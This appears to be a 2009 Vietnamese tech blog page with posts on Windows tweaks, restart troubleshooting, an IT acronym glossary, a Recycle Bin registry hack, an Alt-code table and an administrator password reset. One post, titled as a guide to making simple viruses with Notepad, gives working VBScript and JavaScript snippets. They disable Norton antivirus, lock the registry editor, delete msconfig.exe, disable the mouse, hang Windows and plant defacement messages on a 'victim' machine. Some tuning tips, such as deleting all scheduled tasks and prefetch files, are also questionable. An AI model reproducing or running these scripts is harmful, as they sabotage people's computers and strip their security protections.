Một lưu ý là có nhiều chương trình diệt virus... cũng đặt các lệnh dịch vụ trong này, nếu nhận diện được chúng, bạn hãy “né” những lệnh đó ra.



9 - Có khá nhiều chương trình hoặc dịch vụ của Windows có khả năng được kích hoạt để chạy vào một khoảng thời gian nào đó. Hiện tượng này xảy ra vào lúc máy phải xử lý những dữ liệu có kích thước lớn nên thường gây treo máy. Để máy hoạt động ổn định hơn, bạn hãy tắt tính năng này đi bằng cách vào Start > Run, gõ tasks để vào Task Scheduled, xóa tất cả các mục trong đó nếu có.

10 - Khi cài phần mềm, bạn thường được hướng dẫn chọn Yes liên tục cho đến khi kết thúc. Nếu làm như vậy, bạn đã cài tất cả những thông tin không cần thiết trong gói sản phẩm đó. Nó́ cũng có nghĩa không thể kiểm soát những gì đưa vào máy tính.
Theo lời khuyên của các chuyên gia, khi cài một chương trình, bạn nên chọn là Custom, sau đó lựa chọn những gì muốn cài.

11 - Khi cài đặt Windows, theo mặc định, các nhóm dịch vụ kèm theo cũng được đưa vào máy, tuy nhiên có nhiều dịch vụ đã quá lỗi thời và nặng nề, nên bạn có thể loại bỏ chúng cho nhẹ máy và tiết kiệm tài nguyên.
Bạn vào Start > Run, gõ control > Add or Remove Programs > Add/Remove Windows Components, và chỉ cần để lại những chương trình sau - Indexing Services, World Wide Web Services, Management and Monitoring Tools, Networking Services, Windows Media Player (nếu bạn dùng Internet Explorer thì để mục này lại nhưng nên chuyển sang Fire Fox vì nó tốt và an toàn hơn).

12 - Thông thường, bạn dùng Add or Remove Programs để gỡ những chương trình không cần thiết ra khỏi máy, nhưng với khá nhiều phần mềm, sau khi làm như vậy, một số tập tin của chúng vẫn nằm lại trong Program Files và rải rác ở những nơi khác. Do đó, sau khi xóa bất kì một tập tin nào, bạn cũng nên vào Start > Search, gõ tên của phần mềm đó, và xóa tất cả những gì còn sót lại của chúng trong bảng kết quả. Hoặc bạn cũng có thể vào My Computer > Local Disk ( C:) > Program Files để kiểm tra và xóa những gì còn sót lại của chúng.

13 - Khi tải một chương trình về máy hoặc nhiều chương trình không muốn sử dụng nữa nhưng cũng không muốn xóa đi vì biết đâu có lúc cũng cần dùng đến chúng. Đó là những nhu cầu bình thường nhưng Windows thì không hiểu ý bạn.
Trong quá trình mở hoặc tắt máy, nó cũng tự động quét qua luôn các chương trình này nếu đó là những chương trình chạy nền. Điều đó làm giảm hiệu năng làm việc của máy tính.
Bạn cần phải “nói” cho Windows biết những chương trình nào chưa dùng ngay bây giờ bằng cách vào Start > Run, gõ prefetch, lựa tên những chương trình nào bạn muốn và xóa đi.

14 - Việc trang trí cho Desktop trông thật ấn tượng có thể phần nào giúp bạn làm việc hứng thú hơn, nhưng nó sẽ khiến cho tốc độ xử lý dữ liệu của máy chậm lại. Thậm chi, nó́ còn làm cho màn hình mau xuống cấp và làm giảm tuổi thọ, nhất là những máy yếu.
Nếu máy tính quá yếu, và muốn bảo vệ màn hình đồng thời giúp máy chạy nhanh hơn, bạn nên dùng kiểu desktop đơn giản nhất: bấm chuột phải vào My Computer chọn Properties > Advanced, mục Performance, bấm Settings. Ở̉ ô Visual Effects, bạn chọn Adjust for best performance. Màn hình của bạn sẽ rất đơn giản, bù lại, máy của bạn sẽ chạy nhanh hơn.

15 - Một điều cần chú ý khi cài đặt các phần mềm là không nên dùng nhiều phần mềm cùng chức năng trong cùng một máy lý vì sẽ làm nặng máy, tốn tài nguyên. Nhiều khi, các chương trình này xung đột lẫn nhau làm treo máy hoặc thậm chí hư cả hệ điều hành. Do đó, bạn nên nhớ loại bỏ các chương trình cùng nhiệm vụ trong máy, chỉ giữ lại cái có tầm vực hoạt động mạnh nhất.

16 - Mỗi khi mở một File, cài đặt một chương trình, ghé thăm một địa chỉ..., Windows tự động làm một bản nháp chứa đựng tất cả các thông tin, thậm chí cả nội dung của chúng. Hiện tượng này chắc chắn sẽ làm ổ đĩa mất khá nhiều dung lượng. Tuy bạn không thể dừng được chức năng này nhưng nên thường xuyên “ghé thăm” để dọn dẹp và xóa cho sạch sẽ.
Vào Start > Run, gõ recent, trong cửa sổ mới hiện ra, tô khối toàn bộ và gọi lệnh Delete. (Đây cũng là nơi bạn cũng có thể tìm lại những File mình đã mở nhưng không nhớ nó ở đâu để kiếm).

17 - Trong quá trình hoạt động, Windows sẽ tự động sao lưu các trạng thái của các cửa sổ được mở ra để hỗ trợ cho việc đăng nhập lại trong lần sau được dễ dàng hơn. Tuy nhiên, theo thời gian tài nguyên dành cho việc lưu giữ sẽ ngày càng tăng và làm chậm hoạt động của máy. Bạn nên tắt tính năng này vì nó không có lợi nhiều cho hoạt động của máy.
Bạn nhấp chuột phải vào My Computer chọn Properties > Advanced, mục Startup and Recovery, chọn Settings, trong Write debugging information chọn là (none).

19 - Khi máy bị treo, đừng vội vã tắt máy, hãy chờ 5 phút - có thể máy đang xử lý quá nhiều dữ liệu nên không chịu tiếp nhận những nhiện vụ khác. Nếu bị treo thật, hãy thử ấn vào nút Reset trên máy để đưa hệ thống về trạng thái Stand By (nếu là Laptop-bạn hãy gập[đóng] máy lại), sau đó Reset lại một lần nữa, trong màn hình mới Windows sẽ cho bạn biết có bao nhiêu chương trình đang chạy cùng lúc, bạn nhấp chuột vào tên tài khoản của mình là lại có thể làm việc tiếp.

read more...

Chuẩn đoán và khắc phục hiện tượng máy bị Restart liên tục

Hiện tượng máy bị Restart liên tục

[FD's BlOg] - Máy tính của bạn bị tình trạng tự động khởi động lại sau một vài phút sử dụng? Trường hợp này có thể xảy ra bởi nhiều nguyên nhân, bạn cần phải thử nghiệm trên phần mềm lẫn phần cứng để có thể tìm ra nguyên nhân và khắc phục.



1. Ổ cứng bị lỗi vật lý (bad).

Khi bị lỗi này, có thể chương trình bạn đang chạy một số tập tin nằm trong vùng bị lỗi thì máy sẽ khởi động lại. Ngoài ra, Card màn hình, RAM gắn lỏng lẻo cũng có thể gây ra tình trạng tương tự, tuy nhiên thường thì chúng sẽ xuất hiện màn hình “xanh” báo lỗi.

* Cách giải quyết: Vào Windows Explorer, chọn ổ đĩa cài đặt hệ thống, thường là ổ C, phải chuột, chọn Properties, chọn thẻ Tools, sau đó click vào Check Now ở phần Error-checking để kiểm tra lỗi đĩa. Có thể sử dụng các phần mềm cao cấp từ các hãng thứ 3 để việc kiểm tra và xử lý được chuyên nghiệp hơn như RepairDisk Manager của Raxco.

Bạn cần sao lưu lại dữ liệu trong trường hợp này, vì đó cũng là tín hiệu của ổ cứng sắp đến giới hạn “tuổi thọ”.

2. Nhiệt độ trong thùng máy quá nóng

- Có thể do quạt của CPU đã hỏng bạn cần kiểm tra lại, vì đây là nguyên nhân rất nguy hiểm có thể gây hư hỏng hệ thống phần cứng.
- Gắn thêm các quạt trong case hoặc bộ làm mát bằng nước.
- Để máy ở chỗ thoáng mát sẽ làm tăng tuổi thọ các thiết bị trong hệ thống.
- Dùng các chương trình kiểm tra nhiệt độ trong thùng máy.

3. Nguồn điện không ổn định

Có nhiều cách thức để kiểm tra dòng điện mà bộ nguồn cung cấp cho máy tính của bạn. Bộ nguồn tốt phải cung cấp được dòng điện "sạch" cho các linh kiện. Có nhiều người cho rằng các đường điện càng cao sẽ càng tốt nhưng thực tế điều này không đúng. Vấn đề ổn định dòng điện phải được đặt lên hàng đầu. Để theo dõi đường điện của bộ nguồn mới mua, bạn có thể sử dụng một số phần mềm chuyên dụng như Speedfan với chức năng lập biểu đồ theo thời gian.

Tất nhiên, giá trị cụ thể của các dòng điện do chương trình đưa ra chỉ mang tính tham khảo. Để có con số chính xác, bạn nên sử dụng các thiết bị đo chuyên dụng.

4. Virus

Đây là trường hợp khả thi nhất. Khá nhiều loại virus làm cho hệ thống tự động restart lại liên tục. Bạn cần có 1 chương trình antivirus luôn được thực thi ở chế độ thời gian thực (real-time), cập nhật virus database mới nhất từ hãng sản xuất. Sau đó ngắt mạng (LAN, Internet) và tiến hành quét lại toàn bộ hệ thống (Full scan). Có thể sử dụng các trình antivirus như: Bitdefender Pro 10 Plus, AVG Antivirus, NOD32 Antivirus, Kaspersky Antivirus.

Nhắc nhở riêng: thằng bkav cũng là một trong số nguyên nhân làm máy thường khởi động lại, nếu máy nào bị tình trạng này mà đang xài nó, tốt nhất gở bỏ nó ra, vào thư mục cài đặt xóa nó luôn
.

Trường hợp xấu nhất có thể phải cài đặt lại toàn bộ hệ thống nhưng đừng bung tập tin sao lưu Ghost để khôi phục lại hệ thống vì rất có thể trong tập tin Ghost đã bị nhiễm virus sẵn.

Nguồn khkt
read more...

Friday, 13 March 2009

Những thuật ngữ viết tắt trong tin học

PC, NTFS, AGP, USB,....v..v chúng có ý nghĩa gì?

[FD's BlOg] - Bạn có thể rất am hiểu về tin học, bạn có thể rành về máy tính, nhưng bạn có biết những thuật ngữ viết tắt trong tin học như PC, NTFS, AGP, USB,....v..v chúng có ý nghĩa gì? .



Dưới đây là 1 số thuật ngữ viết tắt mà mình sưu tầm được.

  • IT (Information Technology): Công nghệ về máy tính.
  • PC (Personal Computer): Máy tính cá nhân.
  • ICT (Information Communication Technology): Ngành công nghệ thông tin - truyền thông.
  • PDA (Personal Digital Assistant): Thiết bị số hổ trợ cá nhân.
  • CP (Computer Programmer): Người lập trình máy tính.
  • CPU (Central Processing Unit): Đơn vị xữ lý trung tâm trong máy tính.
  • BIOS (Basic Input/Output System): Hệ thống nhập/xuất cơ sở.
  • CMOS (Complementary Metal Oxide Semiconductor): Bán dẫn bù Oxít - Kim loại, Họ các vi mạch điện tử thường được sử dụng rộng rải trong việc thiết lập các mạch điện tử.
  • I/O (Input/Output): Cổng nhập/xuất.
  • COM (Computer Output on Micro):
  • CMD (Command): Dòng lệnh để thực hiện một chương trình nào đó..
  • OS (Operating System): Hệ điều hành máy tính.
  • OS Support (Operating System Support): Hệ điều hành được hổ trợ.
  • BPS (Bits Per Second): Số bít truyền trên mỗi giây.
  • RPM (Revolutions Per Minute): Số vòng quay trên mỗi phút.
  • ROM (Read Only Memory): Bộ nhớ chỉ đọc, không thể ghi - xóa.
  • RAM (Random Access Memory): Bộ nhớ truy cập ngẫu nhiên.
  • SIMM (Single Inline Memory Module).
  • DIMM (Double Inline Memory Modules).
  • RIMM (Ram bus Inline Memory Module).
  • SDRAM (Synchronous Dynamic Random Access Memory): RAM đồng bộ.
  • SDR - SDRAM (Single Data Rate SDRAM).
  • DDR - SDRAM (Double Data Rate SDRAM).
  • HDD (Hard Disk Drive): Ổ Đĩa cứng - là phương tiện lưu trữ chính.
  • FDD (Floppy Disk Drive): Ổ Đĩa mềm - thông thường 1.44 MB.
  • CD - ROM (Compact Disc - Read Only Memory): Đĩa nén chỉ đọc.
  • Modem (Modulator/Demodulator): Điều chế và giải điều chế - chuyển đổi qua lại giữa tín hiệu Digital và Analog.
  • DAC (Digital to Analog Converted): Bộ chuyển đổi từ tín hiệu số sang tín hiệu Analog.
  • MS - DOS (Microsoft Disk Operating System): Hệ điều hành đơn nhiệm đầu tiên của Microsoft (1981), chỉ chạy được một ứng dụng tại một thời điểm thông qua dòng lệnh.
  • NTFS (New Technology File System): Hệ thống tập tin theo công nghệ mới - công nghệ bảo mật hơn dựa trên nền tảng là Windows NT.
  • FAT (File Allocation Table): Một bảng hệ thống trên đĩa để cấp phát File.
  • SAM (Security Account Manager): Nơi quản lý và bảo mật các thông tin của tài khoản người dùng.
  • AGP (Accelerated Graphics Port): Cổng tăng tốc đồ họa.
  • VGA (Video Graphics Array): Thiết bị xuất các chương trình đồ họa theo dãy dưới dạng Video ra màn hình.
  • IDE (Integrated Drive Electronics): Mạch điện tử tích hợp trên ổ đĩa cứng, truyền tải theo tín hiệu theo dạng song song (Parallel ATA), là một cổng giao tiếp.
  • PCI (Peripheral Component Interconnect): Các thành phần cấu hình nên cổng giao tiếp ngoại vi theo chuẩn nối tiếp.
  • ISA (Industry Standard Architecture): Là một cổng giao tiếp.
  • USB (Universal Serial Bus): Chuẩn truyền dữ liệu cho BUS (Thiết bị) ngoại vi.
  • SCSI (Small Computer System Interface): Giao diện hệ thống máy tính nhỏ - giao tiếp xữ lý nhiều nhu cầu dữ liệu cùng một lúc.
  • ATA (Advanced Technology Attachment): Chuẩn truyền dữ liệu cho các thiết bị lưu trữ.
  • SATA (Serial Advanced Technology Attachment): Chuẩn truyền dữ liệu theo dạng nối tiếp.
  • PATA (Parallel ATA): Chuẩn truyền dữ liệu theo dạng song song.
  • FSB (Front Side Bus): BUS truyền dữ liệu hệ thống - kết nối giữa CPU với bộ nhớ chính.
  • HT (Hyper Threading): Công nghệ siêu phân luồng.
  • S/P (Supports): Sự hổ trợ.
  • PNP (Plug And Play): Cắm và chạy.
  • EM64T (Extended Memory 64 bit Technology): CPU hổ trợ công nghệ 64 bit.
  • IEEE (Institute of Electrical and Electronics Engineers): Học Viện của các Kỹ Sư Điện và Điện Tử.
  • OSI (Open System Interconnection): Mô hình liên kết hệ thống mở - chuẩn hóa quốc tế.
  • ASCII (American Standard Code for Information Interchange): Hệ lập mã, trong đó các số được qui định cho các chữ.
  • APM (Advanced Power Manager): Quản lý nguồn cao cấp (tốt) hơn.
  • ACPI (Advanced Configuration and Power Interface): Cấu hình cao cấp và giao diện nguồn.
  • MBR (Master Boot Record): Bảng ghi chính trong các đĩa dùng khởi động hệ thống.
  • RAID (Redundant Array of Independent Disks): Hệ thống quản l‎ý nhiều ổ đĩa cùng một lúc.
  • Wi - Fi (Wireless Fidelity): Kỹ thuật mạng không dây.
  • LAN (Local Area Network): Mạng máy tính cục bộ.
  • WAN (Wide Area Network): Mạng máy tính diện rộng.
  • NIC (Network Interface Card): Card giao tiếp mạng.
  • UTP (Unshielded Twisted Pair): Cáp xoắn đôi - dùng để kết nối mạng thông qua đầu nối RJ45.
  • STP (Shielded Twisted Pair): Cáp xoắn đôi có vỏ bọc.
  • BNC (British Naval Connector): Đầu nối BNC dùng để nối cáp đồng trục.
  • ADSL (Asymmetric Digital Subscriber Line): Đường thuê bao bất đối xứng - kết nối băng thông rộng.
  • TCP/IP (Transmission Control Protocol/Internet Protocol): Giao thức mạng.
  • IP (Internet Protocol): Giao thức giao tiếp mạng Internet.
  • DHCP (Dynamic Host Configuration Protocol): Hệ thống giao thức cấu hình IP động.
  • DNS (Domain Name System): Hệ thống phân giải tên miền thành IP và ngược lại.
  • RIS (Remote Installation Service): Dịch vụ cài đặt từ xa thông qua LAN.
  • ARP (Address Resolution Protocol): Giao thức chuyển đổi từ địa chỉ Logic sang địa chỉ vật lý.
  • ICS (Internet Connection Sharing): Chia sẽ kết nối Internet.
  • MAC (Media Access Control): Khả năng kết nối ở tầng vật lý.
  • CSMA/CD (Carrier Sense Multiple Access with Collision Detection): Giao thức truyền tin trên mạng theo phương thức lắng nghe đường truyền mạng để tránh sự đụng độ.
  • AD (Active Directory): Hệ thống thư mục tích cực, có thể mở rộng và tự điều chỉnh giúp cho người quản trị có thể quản lý tài nguyên trên mạng một cách dễ dàng.
  • DC (Domain Controller): Hệ thống tên miền.
  • OU (Organization Unit): Đơn vị tổ chức trong AD.
  • DFS (Distributed File System): Hệ thống quản lý tập tin luận lý, quản lý các Share trong DC.
  • HTML (Hyper Text Markup Language): Ngôn ngữ đánh dấu siêu văn bản
  • Other
  • ISP (Internet Service Provider): Nhà cung cấp dịch vụ Internet.
  • ICP (Internet Content Provider): Nhà cung cấp nội dung thông tin trên Internet.
  • IAP (Internet Access Provider): Nhà cung cấp cỗng kết nối Internet.
  • WWW (World Wide Web): Hệ thống Web diện rộng toàn cầu.
  • HTTP (Hyper Text Transfer Protocol): Giao thức truyền tải File dưới dạng siêu văn bản.
  • URL (Uniform Resource Locator): Dùng để định nghĩa một Website, là đích của một liên kết.
  • FTP (File Transfer Protocol): Giao thức truyền tải File.
  • E_Mail (Electronic Mail): Hệ thống thư điện tử.
  • E_Card (Electronic Card): Hệ thống thiệp điện tử.
  • ID (Identity): Cở sở để nhận dạng.
  • SMS (Short Message Service): Hệ thống tin nhắn ngắn - nhắn dưới dạng ký tự qua mạng điện thoại.
  • MSN (Microsoft Network): Dịch vụ nhắn tin qua mạng của Microsoft.
  • MSDN (Microsoft Developer Network): Nhóm phát triển về công nghệ mạng của Microsoft.
  • Acc User (Account User): Tài khoản người dùng.
  • POP (Post Office Protocol): Giao thức văn phòng, dùng để nhận Mail từ Mail Server.
  • SMTP (Simple Mail Transfer Protocol): Giao thức dùng để gửi Mail từ Mail Client đến Mail Server.
  • CC (Carbon Copy): Đồng kính gửi, người nhận sẽ nhìn thấy tất cả các địa chỉ của những người nhận khác (Trong E_Mail).
  • BCC (Blind Carbon Copy): Đồng kính gửi, nhưng người nhận sẽ không nhìn thấy địa chỉ của những người nhận khác.
  • ISA Server (Internet Security & Acceleration Server): Chương trình hổ trợ quản lý và tăng tốc kết nối Internet dành cho Server.
  • ASP/ASP.NET (Active Server Page): Ngôn ngữ viết Web Server.
  • SQL (Structured Query Language): Ngôn ngữ truy vấn cấu trúc - kết nối đến CSDL.
  • IE (Internet Explorer): Trình duyệt Web “Internet Explorer” của Microsoft.
  • MF (Mozilla Firefox): Trình duyệt Web “Mozilla Firefox”.
  • CAD (Computer Aided Design): Thiết kế với sự trợ giúp của máy tính.
  • CAM (Computer Aided Manufacturing): Sản xuất với sự trợ giúp của máy tính.
  • CAL (Computer Aided Learning): Học tập với sự trợ giúp của máy tính.
  • DPI (Dots Per Inch): Số chấm trong một Inch, đơn vị đo ảnh được sinh ra trên màn hình và máy in.
  • CCNA (Cisco Certified Network Associate): Là chức chỉ mạng quốc tế do hãng sản xuất thiết bị mạng hàng đầu thế giới - Cisco – cấp, và được công nhận trên toàn thế giới.
  • CCNP (Cisco Certified Network Professional): Là chứng chỉ mạng cao cấp của Cisco.
  • MCP (Microsoft Certified Professional): Là chứng chỉ ở cấp độ đầu tiên của Microsoft.
  • MCSA (Microsoft Certified Systems Administrator): Chứng chỉ dành cho người quản trị hệ điều hành mạng của Microsoft, được chính Bác Bill Gate ký.
  • MCSE (Microsoft Certified Systems Engineer): Tạm dịch là kỹ sư mạng được Microsoft chứng nhận, do chính tay Bác Bill Gate ký
  • read more...

    Tạo virust đơn giản với Notepad hay Wordpad

    _VBSCRIPT --- _Javascript.

    [FD's BlOg] - Chỉ với Notepad hay Wordpad bạn có thể tự tạo cho mình 1 vài "chú" Virus đơn giản dưới dạng _VBSCRIPT hoặc _Javascript.


    Dưới đây là code của một số con virus nhỏ dưới dạng VBS:

    1. Không cho victim khởi động máy:
    Dim wsh
    Set wsh = createobject("wscript.shell")
    wsh.run "RUNDLL32.EXE user.exe,exitwindows"

    2. Disable NAV:
    Dim wsh
    Set wsh= CreateObject( "WScript.Shell")
    s1 = "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Servi c es\Norton Program
    Scheduler\Start"
    wsh.RegWrite s1,3, "REG_DWORD"

    3. Hiển thị một message mỗi khi reboot máy:
    dim wsh
    Set wsh = CreateObject( "WScript.Shell" )
    s1 = "HKLM\Software\Microsoft\Windows\CurrentVersion\Wi n Logon\"
    s2 = "LegalNoticeCaption"
    s3 = "LegalNoticeText"
    wsh.RegWrite s1+s2, "http://allformy.topcities.com"
    wsh.RegWrite s1+s3, "Ta la anh_hung_bat_dac_di000-Toi den tu HVA"

    4. Hiển thị một dòng lệnh khi click vào file hay folder:
    set reg=createobject("WScript.shell")
    reg.regwrite "HKEY_CLASSES_ROOT\*\Shell\\","Ban da bi toi khong che"
    reg.regwrite "HKEY_CLASSES_ROOT\folder\shell\Ban da bi toi khong che","I_LOVE_U"

    5. Làm cho các trò trên hoạt động bình thường:
    Dim objShell
    Set objShell = CreateObject( "WScript.Shell" )
    s1 = "HKEY_USERS\.Default\Software\Microsoft\Windows\Cu rrentVersion\ "
    s2 = "Policies\System\DisableRegistryTools"
    objShell.RegWrite s1+s2,1, "REG_DWORD"
    Dưới dạng Javascipt :
    var wsh;
    wsh=new ActiveXObject ("Wscript.shell");

    // Winlogon when reboot

    var s1 = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersio n \\WinLogon\\";
    var s2 = "LegalNoticeCaption";
    var s3 = "LegalNoticeText";
    wsh.RegWrite (s1+ s2, "http://allformy.topcities.com") ;
    wsh.RegWrite (s1+s3, "Ban da bi toi khong che") ;

    //Disable Registry
    var s1 = "HKEY_USERS\\.Default\\Software\\Microsoft\\Window s\\CurrentVers ion\\";
    var s2 = "Policies\\System\\DisableRegistryTools" ;
    wsh.RegWrite (s1+s2,0,"REG_DWORD");

    //Delete file Msconfig.exe làm cho victim khởi động tới Registry luôn

    var fso;
    fso=new ActiveXObject("Scripting.FileSystemObject");
    var fe=fso.getfile("C:\\windows\\msconfig.exe);
    fe.delete true;

    //Shutdown windows
    //Disable Mouse

    wsh.run ("RUNDLL32.EXE mouse,disable");

    //Hang up windows

    wsh.run ("rundll32 user,disableoemlayer");
    read more...

    Thủ thuật máy tính : Khôi phục mật khẩu Administrator

    Khôi phục mật khẩu Administrator trong Windows XP


    [FD's BlOg] - Nếu bạn sử dụng một máy tính có nhiều người dùng chung, thì việc tạo những tài khoản khác nhau để hạn chế quyền truy cập vào những phân vùng nhất định là điều cần thiết. Tuy nhiên vì một l‎ý do nào đó, bạn lại lỡ quên mất mật khẩu của tài khoản quản trị (Administrator) thì thật là rắc rối.

    Thật rắc rối nếu bạn quên mất mật khẩu quản trị. Việc cài đặt hoặc sử dụng các tính năng sẽ gặp không ít khó khăn với các tài khoản con. Để khôi phục mật khẩu quản trị, làm theo các bước sau :

    1. Đầu tiên khởi động Windows ở chế độ Safe Mode. Để vào được chế độ này, sau khi bấm Power, bạn nhấp liên tục nút F8 trên bàn phím. Một danh mục khởi động sẽ hiện ra và bạn chọn Safe Mode.

    2. Tiếp theo, trong chế độ safe mode, bạn click Start và chọn Run, điền control userpasswords2 vào hộp thoại và nhấn OK.

    3. Bây giờ bạn có quyền truy cập vào toàn bộ tài khoản sử dụng máy, kể cả tài khoản admin, bây giờ bạn có thể dễ dàng khôi phục lại mật khẩu.

    4. Bạn click vào tài khoản admin và click tiếp vào nút Reset Password. Bạn sẽ cần phải thêm một mật khẩu mới đồng thời phải xác nhận lại mất khẩu đó trong hộp thoại tiếp theo và nhấn OK.


    Mọi việc đã hoàn thành, bạn chỉ cần khởi động lại máy tính và sử dụng mật khẩu mới để đăng nhập vào tài khoản Admin. Nếu lần sau chẳng may lại quên mật khẩu thì bạn cũng chẳng phải quá lo lắng để suy nghĩ xem mật khẩu cũ là gì.
    Theo Dantri
    read more...

    Thursday, 12 March 2009

    Thủ thuật máy tính : Đổi tên RecycleBin

    Đổi tên RecycleBin

    Recycle Bin là một thành phần khá đặc biệt, nó không giống như các thành phần khác của Windows. bạn không thể xử lý nó như Folder, file, shortcut hay bất cứ 1 thành phần nào khác. Do đó muốn đổi tên Recycle Bin bạn phải thực hiện các bước sau:

    1. Mở Notepad và gõ nội dung sau đây vào:
    Windows Registry Editor Version5.00
    [HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder]
    Attributes"=hex:50,01,00,20
    CallForAttributes'=dword:00000000

    2. Lưu file với phần mở rộng .reg, chẳng hạn như RecycleBin.reg.

    3. Click đúp vào file vừa tạo, Windows sẽ thông báo một thành phần mới được thêm vào registry, chọn Yes.

    Bây giờ bạn có thể đổi tên Recycle Bin như đổi tên folder hay file.
    Nếu muốn tắt chức năng này bạn chỉ cần tạo một file.reg với nội dung như trên nhưng thay dòng
    Attributes"=hex:50,01,00,20

    bằng
    Attributes"=hex:40,01,00,20


    Trước và sau khi thay đổi. ( Lưu ý: Những thay đổi này chỉ có hiệu lực sau khi bạn tạo shortcut của Recycle Bin)



    Nếu không viết bạn có thể download file .reg tại đây
    Đổi tên RecycleBin: RecycleBin
    Bỏ thay đổi: UnRecycleBin
    Nguồn :PCTL.com
    read more...

    Wednesday, 11 March 2009

    Alt CODEs

    Thủ Thuật máy tính : Alt codes

    Symbol Number
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    § 21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    space 32
    ! 33
    " 34
    # 35
    $ 36
    % 37
    & 38
    ' 39
    ( 40
    ) 41
    * 42
    + 43
    , 44
    - 45
    . 46
    / 47
    0 48
    1 49
    2 50
    3 51
    4 52
    5 53
    6 54
    7 55
    8 56
    9 57
    : 58
    ; 59
    < 60
    = 61
    > 62
    ? 63
    @ 64
    A 65
    B 66
    C 67
    D 68
    E 69
    F 70
    G 71
    H 72
    I 73
    J 74
    K 75
    L 76
    M 77
    N 78
    O 79
    P 80
    Q 81
    R 82
    S 83
    T 84
    U 85
    Symbol Number
    V 86
    W 87
    X 88
    Y 89
    Z 90
    [ 91
    \ 92
    ] 93
    ^ 94
    _ 95
    ` 96
    a 97
    b 98
    c 99
    d 100
    e 101
    f 102
    g 103
    h 104
    i 105
    j 106
    k 107
    l 108
    m 109
    n 110
    o 111
    p 112
    q 113
    r 114
    s 115
    t 116
    u 117
    v 118
    w 119
    x 120
    y 121
    z 122
    { 123
    | 124
    } 125
    ~ 126
    127
    Ç 128
    ü 129
    é 130
    â 131
    ä 132
    à 133
    å 134
    ç 135
    ê 136
    ë 137
    è 138
    ï 139
    î 140
    ì 141
    Ä 142
    Å 143
    É 144
    æ 145
    Æ 146
    ô 147
    ö 148
    ò 149
    û 150
    ù 151
    ÿ 152
    Ö 153
    Ü 154
    ¢ 155
    £ 156
    ¥ 157
    158
    ƒ 159
    á 160
    í 161
    ó 162
    ú 163
    ñ 164
    Ñ 165
    ª 166
    º 167
    ¿ 168
    169
    ¬ 170
    Symbol Number
    ½ 171
    ¼ 172
    ¡ 173
    « 174
    » 175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    α 224
    ß 225
    Γ 226
    π 227
    Σ 228
    σ 229
    µ 230
    τ 231
    Φ 232
    Θ 233
    Ω 234
    δ 235
    236
    φ 237
    ε 238
    239
    240
    ± 241
    242
    243
    244
    245
    ÷ 246
    247
    ° 248
    249
    · 250
    251
    252
    ² 253
    254

    255
    read more...